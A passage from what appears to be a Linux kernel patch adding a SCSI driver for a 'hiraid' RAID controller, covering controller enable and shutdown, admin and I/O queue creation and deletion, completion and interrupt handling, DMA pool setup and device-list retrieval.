HIRAID_REG_CC); + + while ((readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_SHST_MASK) != + HIRAID_CSTS_SHST_CMPLT) { + msleep(100); + if (fatal_signal_pending(current)) + return -EINTR; + if (time_after(jiffies, timeout)) { + dev_err(hdev->dev, "device shutdown incomplete, abort shutdown\n"); + return -ENODEV; + } + } + return 0; +} + +static int hiraid_disable_control(struct hiraid_dev *hdev) +{ + hdev->ctrl_config &= ~HIRAID_CC_SHN_MASK; + hdev->ctrl_config &= ~HIRAID_CC_ENABLE; + writel(hdev->ctrl_config, hdev->bar + HIRAID_REG_CC); + + return hiraid_wait_control_ready(hdev, hdev->cap, false); +} + +static int hiraid_enable_control(struct hiraid_dev *hdev) +{ + u64 cap = hdev->cap; + u32 dev_page_min = HIRAID_CAP_MPSMIN(cap) + 12; + u32 page_shift = PAGE_SHIFT; + + if (page_shift < dev_page_min) { + dev_err(hdev->dev, "minimum device page size[%u], too large for host[%u]\n", + 1U << dev_page_min, 1U << page_shift); + return -ENODEV; + } + + page_shift = min_t(unsigned int, HIRAID_CAP_MPSMAX(cap) + 12, PAGE_SHIFT); + hdev->page_size = 1U << page_shift; + + hdev->ctrl_config = HIRAID_CC_CSS_NVM; + hdev->ctrl_config |= (page_shift - 12) << HIRAID_CC_MPS_SHIFT; + hdev->ctrl_config |= HIRAID_CC_AMS_RR | HIRAID_CC_SHN_NONE; + hdev->ctrl_config |= HIRAID_CC_IOSQES | HIRAID_CC_IOCQES; + hdev->ctrl_config |= HIRAID_CC_ENABLE; + writel(hdev->ctrl_config, hdev->bar + HIRAID_REG_CC); + + return hiraid_wait_control_ready(hdev, cap, true); +} + +static void hiraid_init_queue(struct hiraid_queue *hiraidq, u16 qid) +{ + struct hiraid_dev *hdev = hiraidq->hdev; + + memset((void *)hiraidq->cqes, 0, CQ_SIZE(hiraidq->q_depth)); + + hiraidq->sq_tail = 0; + hiraidq->cq_head = 0; + hiraidq->cq_phase = 1; + hiraidq->q_db = &hdev->dbs[qid * 2 * hdev->db_stride]; + hiraidq->prp_small_pool = hdev->prp_extra_pool[qid % extra_pool_num]; + hdev->online_queues++; + atomic_set(&hiraidq->inflight, 0); +} + +static inline bool hiraid_cqe_pending(struct hiraid_queue *hiraidq) +{ + return (le16_to_cpu(hiraidq->cqes[hiraidq->cq_head].status) & 1) == + hiraidq->cq_phase; +} + +static void hiraid_complete_io_cmnd(struct hiraid_queue *ioq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = ioq->hdev; + struct blk_mq_tags *tags; + struct scsi_cmnd *scmd; + struct hiraid_mapmange *mapbuf; + struct request *req; + unsigned long elapsed; + + atomic_dec(&ioq->inflight); + + if (work_mode) + tags = hdev->shost->tag_set.tags[0]; + else + tags = hdev->shost->tag_set.tags[ioq->qid - 1]; + req = blk_mq_tag_to_rq(tags, le16_to_cpu(cqe->cmd_id)); + if (unlikely(!req || !blk_mq_request_started(req))) { + dev_warn(hdev->dev, "invalid id[%d] completed on queue[%d]\n", + le16_to_cpu(cqe->cmd_id), ioq->qid); + return; + } + + scmd = blk_mq_rq_to_pdu(req); + mapbuf = scsi_cmd_priv(scmd); + + elapsed = jiffies - scmd->jiffies_at_alloc; + dev_log_dbg(hdev->dev, "cid[%d] qid[%d] finish IO cost %3ld.%3ld seconds\n", + le16_to_cpu(cqe->cmd_id), ioq->qid, elapsed / HZ, elapsed % HZ); + + if (cmpxchg(&mapbuf->state, CMD_FLIGHT, CMD_COMPLETE) != CMD_FLIGHT) { + dev_warn(hdev->dev, "cid[%d] qid[%d] enters abnormal handler, cost %3ld.%3ld seconds\n", + le16_to_cpu(cqe->cmd_id), ioq->qid, elapsed / HZ, elapsed % HZ); + WRITE_ONCE(mapbuf->state, CMD_TMO_COMPLETE); + + if (mapbuf->sge_cnt) { + mapbuf->sge_cnt = 0; + scsi_dma_unmap(scmd); + } + hiraid_free_mapbuf(hdev, mapbuf); + + return; + } + + hiraid_check_status(mapbuf, scmd, cqe); + if (mapbuf->sge_cnt) { + mapbuf->sge_cnt = 0; + scsi_dma_unmap(scmd); + } + hiraid_free_mapbuf(hdev, mapbuf); + scmd->scsi_done(scmd); +} + +static void hiraid_complete_admin_cmnd(struct hiraid_queue *adminq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = adminq->hdev; + struct hiraid_cmd *adm_cmd; + + adm_cmd = hdev->adm_cmds + le16_to_cpu(cqe->cmd_id); + if (unlikely(adm_cmd->state == CMD_IDLE)) { + dev_warn(adminq->hdev->dev, "invalid id[%d] completed on queue[%d]\n", + le16_to_cpu(cqe->cmd_id), le16_to_cpu(cqe->sq_id)); + return; + } + + adm_cmd->status = le16_to_cpu(cqe->status) >> 1; + adm_cmd->result0 = le32_to_cpu(cqe->result); + adm_cmd->result1 = le32_to_cpu(cqe->result1); + + complete(&adm_cmd->cmd_done); +} + +static void hiraid_send_async_event(struct hiraid_dev *hdev, u16 cid); + +static void hiraid_complete_async_event(struct hiraid_queue *hiraidq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = hiraidq->hdev; + u32 result = le32_to_cpu(cqe->result); + + dev_info(hdev->dev, "recv async event, cid[%d] status[0x%x] result[0x%x]\n", + le16_to_cpu(cqe->cmd_id), le16_to_cpu(cqe->status) >> 1, result); + + hiraid_send_async_event(hdev, le16_to_cpu(cqe->cmd_id)); + + if ((le16_to_cpu(cqe->status) >> 1) != HIRAID_SC_SUCCESS) + return; + switch (result & 0x7) { + case HIRAID_ASYN_EVENT_NOTICE: + hiraid_handle_async_notice(hdev, result); + break; + case HIRAID_ASYN_EVENT_VS: + hiraid_handle_async_vs(hdev, result, le32_to_cpu(cqe->result1)); + break; + default: + dev_warn(hdev->dev, "unsupported async event type[%u]\n", result & 0x7); + break; + } +} + +static void hiraid_complete_pthru_cmnd(struct hiraid_queue *ioq, struct hiraid_completion *cqe) +{ + struct hiraid_dev *hdev = ioq->hdev; + struct hiraid_cmd *ptcmd; + + ptcmd = hdev->io_ptcmds + (ioq->qid - 1) * HIRAID_PTHRU_CMDS_PERQ + + le16_to_cpu(cqe->cmd_id) - hdev->scsi_qd; + + ptcmd->status = le16_to_cpu(cqe->status) >> 1; + ptcmd->result0 = le32_to_cpu(cqe->result); + ptcmd->result1 = le32_to_cpu(cqe->result1); + + complete(&ptcmd->cmd_done); +} + +static inline void hiraid_handle_cqe(struct hiraid_queue *hiraidq, u16 idx) +{ + struct hiraid_completion *cqe = &hiraidq->cqes[idx]; + struct hiraid_dev *hdev = hiraidq->hdev; + u16 cid = le16_to_cpu(cqe->cmd_id); + + if (unlikely(!work_mode && (cid >= hiraidq->q_depth))) { + dev_err(hdev->dev, "invalid command id[%d] completed on queue[%d]\n", + cid, cqe->sq_id); + return; + } + + dev_log_dbg(hdev->dev, "cid[%d] qid[%d] result[0x%x] sqid[%d] status[0x%x]\n", + cid, hiraidq->qid, le32_to_cpu(cqe->result), + le16_to_cpu(cqe->sq_id), le16_to_cpu(cqe->status)); + + if (unlikely(hiraidq->qid == 0 && cid >= HIRAID_AQ_BLK_MQ_DEPTH)) { + hiraid_complete_async_event(hiraidq, cqe); + return; + } + + if (unlikely(hiraidq->qid && cid >= hdev->scsi_qd)) { + hiraid_complete_pthru_cmnd(hiraidq, cqe); + return; + } + + if (hiraidq->qid) + hiraid_complete_io_cmnd(hiraidq, cqe); + else + hiraid_complete_admin_cmnd(hiraidq, cqe); +} + +static void hiraid_complete_cqes(struct hiraid_queue *hiraidq, u16 start, u16 end) +{ + while (start != end) { + hiraid_handle_cqe(hiraidq, start); + if (++start == hiraidq->q_depth) + start = 0; + } +} + +static inline void hiraid_update_cq_head(struct hiraid_queue *hiraidq) +{ + if (++hiraidq->cq_head == hiraidq->q_depth) { + hiraidq->cq_head = 0; + hiraidq->cq_phase = !hiraidq->cq_phase; + } +} + +static inline bool hiraid_process_cq(struct hiraid_queue *hiraidq, u16 *start, u16 *end, int tag) +{ + bool found = false; + + *start = hiraidq->cq_head; + while (!found && hiraid_cqe_pending(hiraidq)) { + if (le16_to_cpu(hiraidq->cqes[hiraidq->cq_head].cmd_id) == tag) + found = true; + hiraid_update_cq_head(hiraidq); + } + *end = hiraidq->cq_head; + + if (*start != *end) + writel(hiraidq->cq_head, hiraidq->q_db + hiraidq->hdev->db_stride); + + return found; +} + +static bool hiraid_poll_cq(struct hiraid_queue *hiraidq, int cid) +{ + u16 start, end; + bool found; + + if (!hiraid_cqe_pending(hiraidq)) + return 0; + + spin_lock_irq(&hiraidq->cq_lock); + found = hiraid_process_cq(hiraidq, &start, &end, cid); + spin_unlock_irq(&hiraidq->cq_lock); + + hiraid_complete_cqes(hiraidq, start, end); + return found; +} + +static irqreturn_t hiraid_handle_irq(int irq, void *data) +{ + struct hiraid_queue *hiraidq = data; + irqreturn_t ret = IRQ_NONE; + u16 start, end; + + spin_lock(&hiraidq->cq_lock); + if (hiraidq->cq_head != hiraidq->last_cq_head) + ret = IRQ_HANDLED; + + hiraid_process_cq(hiraidq, &start, &end, -1); + hiraidq->last_cq_head = hiraidq->cq_head; + spin_unlock(&hiraidq->cq_lock); + + if (start != end) { + hiraid_complete_cqes(hiraidq, start, end); + ret = IRQ_HANDLED; + } + return ret; +} + +static int hiraid_setup_admin_queue(struct hiraid_dev *hdev) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + u32 aqa; + int ret; + + dev_info(hdev->dev, "start disable controller\n"); + + ret = hiraid_disable_control(hdev); + if (ret) + return ret; + + ret = hiraid_alloc_queue(hdev, 0, HIRAID_AQ_DEPTH); + if (ret) + return ret; + + aqa = adminq->q_depth - 1; + aqa |= aqa << 16; + writel(aqa, hdev->bar + HIRAID_REG_AQA); + lo_hi_writeq(adminq->sq_buffer_phy, hdev->bar + HIRAID_REG_ASQ); + lo_hi_writeq(adminq->cq_buffer_phy, hdev->bar + HIRAID_REG_ACQ); + + dev_info(hdev->dev, "start enable controller\n"); + + ret = hiraid_enable_control(hdev); + if (ret) { + ret = -ENODEV; + return ret; + } + + adminq->cq_vector = 0; + ret = pci_request_irq(hdev->pdev, adminq->cq_vector, hiraid_handle_irq, NULL, + adminq, "hiraid%d_q%d", hdev->instance, adminq->qid); + if (ret) { + adminq->cq_vector = -1; + return ret; + } + + hiraid_init_queue(adminq, 0); + + dev_info(hdev->dev, "setup admin queue success, queuecount[%d] online[%d] pagesize[%d]\n", + hdev->queue_count, hdev->online_queues, hdev->page_size); + + return 0; +} + +static u32 hiraid_get_bar_size(struct hiraid_dev *hdev, u32 nr_ioqs) +{ + return (HIRAID_REG_DBS + ((nr_ioqs + 1) * 8 * hdev->db_stride)); +} + +static int hiraid_create_admin_cmds(struct hiraid_dev *hdev) +{ + u16 i; + + INIT_LIST_HEAD(&hdev->adm_cmd_list); + spin_lock_init(&hdev->adm_cmd_lock); + + hdev->adm_cmds = kcalloc_node(HIRAID_AQ_BLK_MQ_DEPTH, sizeof(struct hiraid_cmd), + GFP_KERNEL, hdev->numa_node); + + if (!hdev->adm_cmds) { + dev_err(hdev->dev, "alloc admin cmds failed\n"); + return -ENOMEM; + } + + for (i = 0; i < HIRAID_AQ_BLK_MQ_DEPTH; i++) { + hdev->adm_cmds[i].qid = 0; + hdev->adm_cmds[i].cid = i; + list_add_tail(&(hdev->adm_cmds[i].list), &hdev->adm_cmd_list); + } + + dev_info(hdev->dev, "alloc admin cmds success, num[%d]\n", HIRAID_AQ_BLK_MQ_DEPTH); + + return 0; +} + +static void hiraid_free_admin_cmds(struct hiraid_dev *hdev) +{ + kfree(hdev->adm_cmds); + hdev->adm_cmds = NULL; + INIT_LIST_HEAD(&hdev->adm_cmd_list); +} + +static struct hiraid_cmd *hiraid_get_cmd(struct hiraid_dev *hdev, enum hiraid_cmd_type type) +{ + struct hiraid_cmd *cmd = NULL; + unsigned long flags; + struct list_head *head = &hdev->adm_cmd_list; + spinlock_t *slock = &hdev->adm_cmd_lock; + + if (type == HIRAID_CMD_PTHRU) { + head = &hdev->io_pt_list; + slock = &hdev->io_pt_lock; + } + + spin_lock_irqsave(slock, flags); + if (list_empty(head)) { + spin_unlock_irqrestore(slock, flags); + dev_err(hdev->dev, "err, cmd[%d] list empty\n", type); + return NULL; + } + cmd = list_entry(head->next, struct hiraid_cmd, list); + list_del_init(&cmd->list); + spin_unlock_irqrestore(slock, flags); + + WRITE_ONCE(cmd->state, CMD_FLIGHT); + + return cmd; +} + +static void hiraid_put_cmd(struct hiraid_dev *hdev, struct hiraid_cmd *cmd, + enum hiraid_cmd_type type) +{ + unsigned long flags; + struct list_head *head = &hdev->adm_cmd_list; + spinlock_t *slock = &hdev->adm_cmd_lock; + + if (type == HIRAID_CMD_PTHRU) { + head = &hdev->io_pt_list; + slock = &hdev->io_pt_lock; + } + + spin_lock_irqsave(slock, flags); + WRITE_ONCE(cmd->state, CMD_IDLE); + list_add_tail(&cmd->list, head); + spin_unlock_irqrestore(slock, flags); +} + +static bool hiraid_admin_need_reset(struct hiraid_admin_command *cmd) +{ + switch (cmd->common.opcode) { + case HIRAID_ADMIN_DELETE_SQ: + case HIRAID_ADMIN_CREATE_SQ: + case HIRAID_ADMIN_DELETE_CQ: + case HIRAID_ADMIN_CREATE_CQ: + case HIRAID_ADMIN_SET_FEATURES: + return false; + default: + return true; + } +} + +static int hiraid_reset_work_sync(struct hiraid_dev *hdev); +static inline void hiraid_admin_timeout(struct hiraid_dev *hdev, struct hiraid_cmd *cmd) +{ + /* command may be returned because controller reset */ + if (READ_ONCE(cmd->state) == CMD_COMPLETE) + return; + if (hiraid_reset_work_sync(hdev) == -EBUSY) + flush_work(&hdev->reset_work); +} + +static int hiraid_put_admin_sync_request(struct hiraid_dev *hdev, struct hiraid_admin_command *cmd, + u32 *result0, u32 *result1, u32 timeout) +{ + struct hiraid_cmd *adm_cmd = hiraid_get_cmd(hdev, HIRAID_CMD_ADMIN); + + if (!adm_cmd) { + dev_err(hdev->dev, "err, get admin cmd failed\n"); + return -EFAULT; + } + + timeout = timeout ? timeout : ADMIN_TIMEOUT; + + init_completion(&adm_cmd->cmd_done); + + cmd->common.cmd_id = cpu_to_le16(adm_cmd->cid); + hiraid_submit_cmd(&hdev->queues[0], cmd); + + if (!wait_for_completion_timeout(&adm_cmd->cmd_done, timeout)) { + dev_err(hdev->dev, "cid[%d] qid[%d] timeout, opcode[0x%x] subopcode[0x%x]\n", + adm_cmd->cid, adm_cmd->qid, cmd->usr_cmd.opcode, + cmd->usr_cmd.info_0.subopcode); + + /* reset controller if admin timeout */ + if (hiraid_admin_need_reset(cmd)) + hiraid_admin_timeout(hdev, adm_cmd); + + hiraid_put_cmd(hdev, adm_cmd, HIRAID_CMD_ADMIN); + return -ETIME; + } + + if (result0) + *result0 = adm_cmd->result0; + if (result1) + *result1 = adm_cmd->result1; + + hiraid_put_cmd(hdev, adm_cmd, HIRAID_CMD_ADMIN); + + return adm_cmd->status; +} + +/** + * hiraid_create_cq - send cmd to controller for create controller cq + */ +static int hiraid_create_complete_queue(struct hiraid_dev *hdev, u16 qid, + struct hiraid_queue *hiraidq, u16 cq_vector) +{ + struct hiraid_admin_command admin_cmd; + int flags = HIRAID_QUEUE_PHYS_CONTIG | HIRAID_CQ_IRQ_ENABLED; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.create_cq.opcode = HIRAID_ADMIN_CREATE_CQ; + admin_cmd.create_cq.prp1 = cpu_to_le64(hiraidq->cq_buffer_phy); + admin_cmd.create_cq.cqid = cpu_to_le16(qid); + admin_cmd.create_cq.qsize = cpu_to_le16(hiraidq->q_depth - 1); + admin_cmd.create_cq.cq_flags = cpu_to_le16(flags); + admin_cmd.create_cq.irq_vector = cpu_to_le16(cq_vector); + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +/** + * hiraid_create_sq - send cmd to controller for create controller sq + */ +static int hiraid_create_send_queue(struct hiraid_dev *hdev, u16 qid, + struct hiraid_queue *hiraidq) +{ + struct hiraid_admin_command admin_cmd; + int flags = HIRAID_QUEUE_PHYS_CONTIG; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.create_sq.opcode = HIRAID_ADMIN_CREATE_SQ; + admin_cmd.create_sq.prp1 = cpu_to_le64(hiraidq->sq_buffer_phy); + admin_cmd.create_sq.sqid = cpu_to_le16(qid); + admin_cmd.create_sq.qsize = cpu_to_le16(hiraidq->q_depth - 1); + admin_cmd.create_sq.sq_flags = cpu_to_le16(flags); + admin_cmd.create_sq.cqid = cpu_to_le16(qid); + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +static void hiraid_free_all_queues(struct hiraid_dev *hdev) +{ + int i; + struct hiraid_queue *hq; + + for (i = 0; i < hdev->queue_count; i++) { + hq = &hdev->queues[i]; + dma_free_coherent(hdev->dev, CQ_SIZE(hq->q_depth), + (void *)hq->cqes, hq->cq_buffer_phy); + dma_free_coherent(hdev->dev, SQ_SIZE(hq->qid, hq->q_depth), + hq->sq_cmds, hq->sq_buffer_phy); + if (!work_mode) + dma_free_coherent(hdev->dev, SENSE_SIZE(hq->q_depth), + hq->sense_buffer_virt, hq->sense_buffer_phy); + } + + hdev->queue_count = 0; +} + +static void hiraid_free_sense_buffer(struct hiraid_dev *hdev) +{ + if (hdev->sense_buffer_virt) { + dma_free_coherent(hdev->dev, + SENSE_SIZE(hdev->scsi_qd + max_hwq_num * HIRAID_PTHRU_CMDS_PERQ), + hdev->sense_buffer_virt, hdev->sense_buffer_phy); + hdev->sense_buffer_virt = NULL; + } +} + +static int hiraid_delete_queue(struct hiraid_dev *hdev, u8 opcode, u16 qid) +{ + struct hiraid_admin_command admin_cmd; + int ret; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.delete_queue.opcode = opcode; + admin_cmd.delete_queue.qid = cpu_to_le16(qid); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); + + if (ret) + dev_err(hdev->dev, "delete %s:[%d] failed\n", + (opcode == HIRAID_ADMIN_DELETE_CQ) ? "cq" : "sq", qid); + + return ret; +} + +static int hiraid_delete_complete_queue(struct hiraid_dev *hdev, u16 cqid) +{ + return hiraid_delete_queue(hdev, HIRAID_ADMIN_DELETE_CQ, cqid); +} + +static int hiraid_delete_send_queue(struct hiraid_dev *hdev, u16 sqid) +{ + return hiraid_delete_queue(hdev, HIRAID_ADMIN_DELETE_SQ, sqid); +} + +static int hiraid_create_queue(struct hiraid_queue *hiraidq, u16 qid) +{ + struct hiraid_dev *hdev = hiraidq->hdev; + u16 cq_vector; + int ret; + + cq_vector = (hdev->num_vecs == 1) ? 0 : qid; + ret = hiraid_create_complete_queue(hdev, qid, hiraidq, cq_vector); + if (ret) + return ret; + + ret = hiraid_create_send_queue(hdev, qid, hiraidq); + if (ret) + goto delete_cq; + + hiraidq->cq_vector = cq_vector; + ret = pci_request_irq(hdev->pdev, cq_vector, hiraid_handle_irq, NULL, + hiraidq, "hiraid%d_q%d", hdev->instance, qid); + if (ret) { + hiraidq->cq_vector = -1; + dev_err(hdev->dev, "request queue[%d] irq failed\n", qid); + goto delete_sq; + } + + hiraid_init_queue(hiraidq, qid); + + return 0; + +delete_sq: + hiraid_delete_send_queue(hdev, qid); +delete_cq: + hiraid_delete_complete_queue(hdev, qid); + + return ret; +} + +static int hiraid_create_io_queues(struct hiraid_dev *hdev) +{ + u32 i, max; + int ret = 0; + + max = min(hdev->max_qid, hdev->queue_count - 1); + for (i = hdev->online_queues; i <= max; i++) { + ret = hiraid_create_queue(&hdev->queues[i], i); + if (ret) { + dev_err(hdev->dev, "create queue[%d] failed\n", i); + break; + } + } + + if (!hdev->last_qcnt) + hdev->last_qcnt = hdev->online_queues; + + dev_info(hdev->dev, "queue_count[%d] online_queue[%d] last_online[%d]", + hdev->queue_count, hdev->online_queues, hdev->last_qcnt); + + return ret >= 0 ? 0 : ret; +} + +static int hiraid_set_features(struct hiraid_dev *hdev, u32 fid, u32 dword11, void *buffer, + size_t buflen, u32 *result) +{ + struct hiraid_admin_command admin_cmd; + int ret; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + + if (buffer && buflen) { + data_ptr = dma_alloc_coherent(hdev->dev, buflen, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memcpy(data_ptr, buffer, buflen); + } + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.features.opcode = HIRAID_ADMIN_SET_FEATURES; + admin_cmd.features.fid = cpu_to_le32(fid); + admin_cmd.features.dword11 = cpu_to_le32(dword11); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, result, NULL, 0); + + if (data_ptr) + dma_free_coherent(hdev->dev, buflen, data_ptr, buffer_phy); + + return ret; +} + +static int hiraid_configure_timestamp(struct hiraid_dev *hdev) +{ + __le64 timestamp; + int ret; + + timestamp = cpu_to_le64(ktime_to_ms(ktime_get_real())); + ret = hiraid_set_features(hdev, HIRAID_FEATURE_TIMESTAMP, 0, + &timestamp, sizeof(timestamp), NULL); + + if (ret) + dev_err(hdev->dev, "set timestamp failed[%d]\n", ret); + return ret; +} + +static int hiraid_get_queue_cnt(struct hiraid_dev *hdev, u32 *cnt) +{ + u32 q_cnt = (*cnt - 1) | ((*cnt - 1) << 16); + u32 nr_ioqs, result; + int status; + + status = hiraid_set_features(hdev, HIRAID_FEATURE_NUM_QUEUES, q_cnt, NULL, 0, &result); + if (status) { + dev_err(hdev->dev, "set queue count failed, status[%d]\n", + status); + return -EIO; + } + + nr_ioqs = min(result & 0xffff, result >> 16) + 1; + *cnt = min(*cnt, nr_ioqs); + if (*cnt == 0) { + dev_err(hdev->dev, "illegal qcount: zero, nr_ioqs[%d], cnt[%d]\n", nr_ioqs, *cnt); + return -EIO; + } + return 0; +} + +static int hiraid_setup_io_queues(struct hiraid_dev *hdev) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + struct pci_dev *pdev = hdev->pdev; + u32 i, size, nr_ioqs; + int ret; + + struct irq_affinity affd = { + .pre_vectors = 1 + }; + + /* alloc IO sense buffer for single hw queue mode */ + if (work_mode && !hdev->sense_buffer_virt) { + hdev->sense_buffer_virt = dma_alloc_coherent(hdev->dev, + SENSE_SIZE(hdev->scsi_qd + max_hwq_num * HIRAID_PTHRU_CMDS_PERQ), + &hdev->sense_buffer_phy, GFP_KERNEL | __GFP_ZERO); + if (!hdev->sense_buffer_virt) + return -ENOMEM; + } + + nr_ioqs = min(num_online_cpus(), max_hwq_num); + ret = hiraid_get_queue_cnt(hdev, &nr_ioqs); + if (ret < 0) + return ret; + + size = hiraid_get_bar_size(hdev, nr_ioqs); + ret = hiraid_remap_bar(hdev, size); + if (ret) + return -ENOMEM; + + adminq->q_db = hdev->dbs; + + pci_free_irq(pdev, 0, adminq); + pci_free_irq_vectors(pdev); + hdev->online_queues--; + + ret = pci_alloc_irq_vectors_affinity(pdev, 1, (nr_ioqs + 1), + PCI_IRQ_ALL_TYPES | PCI_IRQ_AFFINITY, &affd); + if (ret <= 0) + return -EIO; + + hdev->num_vecs = ret; + hdev->max_qid = max(ret - 1, 1); + + ret = pci_request_irq(pdev, adminq->cq_vector, hiraid_handle_irq, NULL, + adminq, "hiraid%d_q%d", hdev->instance, adminq->qid); + if (ret) { + dev_err(hdev->dev, "request admin irq failed\n"); + adminq->cq_vector = -1; + return ret; + } + + hdev->online_queues++; + + for (i = hdev->queue_count; i <= hdev->max_qid; i++) { + ret = hiraid_alloc_queue(hdev, i, hdev->ioq_depth); + if (ret) + break; + } + dev_info(hdev->dev, "max_qid[%d] queuecount[%d] onlinequeue[%d] ioqdepth[%d]\n", + hdev->max_qid, hdev->queue_count, hdev->online_queues, hdev->ioq_depth); + + return hiraid_create_io_queues(hdev); +} + +static void hiraid_delete_io_queues(struct hiraid_dev *hdev) +{ + u16 queues = hdev->online_queues - 1; + u8 opcode = HIRAID_ADMIN_DELETE_SQ; + u16 i, pass; + + if (!pci_device_is_present(hdev->pdev)) { + dev_err(hdev->dev, "pci_device is not present, skip disable io queues\n"); + return; + } + + if (hdev->online_queues < 2) { + dev_err(hdev->dev, "err, io queue has been delete\n"); + return; + } + + for (pass = 0; pass < 2; pass++) { + for (i = queues; i > 0; i--) + if (hiraid_delete_queue(hdev, opcode, i)) + break; + + opcode = HIRAID_ADMIN_DELETE_CQ; + } +} + +static void hiraid_pci_disable(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + u32 i; + + for (i = 0; i < hdev->online_queues; i++) + pci_free_irq(pdev, hdev->queues[i].cq_vector, &hdev->queues[i]); + pci_free_irq_vectors(pdev); + if (pci_is_enabled(pdev)) { + pci_disable_pcie_error_reporting(pdev); + pci_disable_device(pdev); + } + hdev->online_queues = 0; +} + +static void hiraid_disable_admin_queue(struct hiraid_dev *hdev, bool shutdown) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + u16 start, end; + + if (pci_device_is_present(hdev->pdev)) { + if (shutdown) + hiraid_shutdown_control(hdev); + else + hiraid_disable_control(hdev); + } + + if (hdev->queue_count == 0) { + dev_err(hdev->dev, "err, admin queue has been delete\n"); + return; + } + + spin_lock_irq(&adminq->cq_lock); + hiraid_process_cq(adminq, &start, &end, -1); + spin_unlock_irq(&adminq->cq_lock); + hiraid_complete_cqes(adminq, start, end); +} + +static int hiraid_create_prp_pools(struct hiraid_dev *hdev) +{ + int i; + char poolname[20] = { 0 }; + + hdev->prp_page_pool = dma_pool_create("prp list page", hdev->dev, + PAGE_SIZE, PAGE_SIZE, 0); + + if (!hdev->prp_page_pool) { + dev_err(hdev->dev, "create prp_page_pool failed\n"); + return -ENOMEM; + } + + for (i = 0; i < extra_pool_num; i++) { + sprintf(poolname, "prp_list_256_%d", i); + hdev->prp_extra_pool[i] = dma_pool_create(poolname, hdev->dev, EXTRA_POOL_SIZE, + EXTRA_POOL_SIZE, 0); + + if (!hdev->prp_extra_pool[i]) { + dev_err(hdev->dev, "create prp extra pool[%d] failed\n", i); + goto destroy_prp_extra_pool; + } + } + + return 0; + +destroy_prp_extra_pool: + while (i > 0) + dma_pool_destroy(hdev->prp_extra_pool[--i]); + dma_pool_destroy(hdev->prp_page_pool); + + return -ENOMEM; +} + +static void hiraid_free_prp_pools(struct hiraid_dev *hdev) +{ + int i; + + for (i = 0; i < extra_pool_num; i++) + dma_pool_destroy(hdev->prp_extra_pool[i]); + dma_pool_destroy(hdev->prp_page_pool); +} + +static int hiraid_request_devices(struct hiraid_dev *hdev, struct hiraid_dev_info *dev) +{ + u32 nd = le32_to_cpu(hdev->ctrl_info->nd); + struct hiraid_admin_command admin_cmd; + struct hiraid_dev_list *list_buf; + dma_addr_t buffer_phy = 0; + u32 i, idx, hdid, ndev; + int ret = 0; + + list_buf = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!list_buf) + return -ENOMEM; + + for (idx = 0; idx < nd;) { + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.get_info.opcode = HIRAID_ADMIN_GET_INFO; + admin_cmd.get_info.type = HIRAID_GET_DEVLIST_INFO; + admin_cmd.get_info.cdw11 = cpu_to_le32(idx); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); + + if (ret) { + dev_err(hdev->dev, "get device list failed, nd[%u] idx[%u] ret[%d]\n", + nd, idx, ret); + goto out; + } + ndev = le32_to_cpu(list_buf->dev_num); + + dev_info(hdev->dev, "get dev list ndev num[%u]\n", ndev); + + for (i = 0; i < ndev; i++) { + hdid = le32_to_cpu(list_buf->devinfo[i].hdid); + dev_info(hdev->dev, "devices[%d], hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + i, hdid, le16_to_cpu(list_buf->devinfo[i].target), + list_buf->devinfo[i].channel, + list_buf->devinfo[i].lun, + list_buf->devinfo[i].attr); + if (hdid > nd || hdid == 0) { + dev_err(hdev->dev, "err, hdid[%d] invalid\n", hdid); + continue; + } + memcpy(&dev[hdid - 1], &list_buf->devinfo[i], + sizeof(struct hiraid_dev_info)); + } + idx += ndev; + + if (ndev < MAX_DEV_ENTRY_PER_PAGE_4K) + break; + } + +out: + dma_free_coherent(hdev->dev, PAGE_SIZE, list_buf, buffer_phy); + return ret; +} + +static void hiraid_send_async_event(struct hiraid_dev *hdev, u16 cid) +{ + struct hiraid_queue *adminq = &hdev->queues[0]; + struct hiraid_admin_command admin_cmd; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.common.opcode = HIRAID_ADMIN_ASYNC_EVENT; + admin_cmd.common.cmd_id = cpu_to_le16(cid); + + hiraid_submit_cmd(adminq, &admin_cmd); + dev_info(hdev->dev, "send async event to controller, cid[%d]\n", cid); +} + +static inline void hiraid_init_async_event(struct hiraid_dev *hdev) +{ + u16 i; + + for (i = 0; i < hdev->ctrl_info->asynevent; i++) + hiraid_send_async_event(hdev, i + HIRAID_AQ_BLK_MQ_DEPTH); +} + +static int hiraid_add_device(struct hiraid_dev *hdev, struct hiraid_dev_info *devinfo) +{ + struct Scsi_Host *shost = hdev->shost; + struct scsi_device *sdev; + + dev_info(hdev->dev, "add device, hdid[%u] target[%d] channel[%d] lun[%d] attr[0x%x]\n", + le32_to_cpu(devinfo->hdid), le16_to_cpu(devinfo->target), + devinfo->channel, devinfo->lun, devinfo->attr); + + sdev = scsi_device_lookup(shost, devinfo->channel, le16_to_cpu(devinfo->target), 0); + if (sdev) { + dev_warn(hdev->dev, "device is already exist, channel[%d] 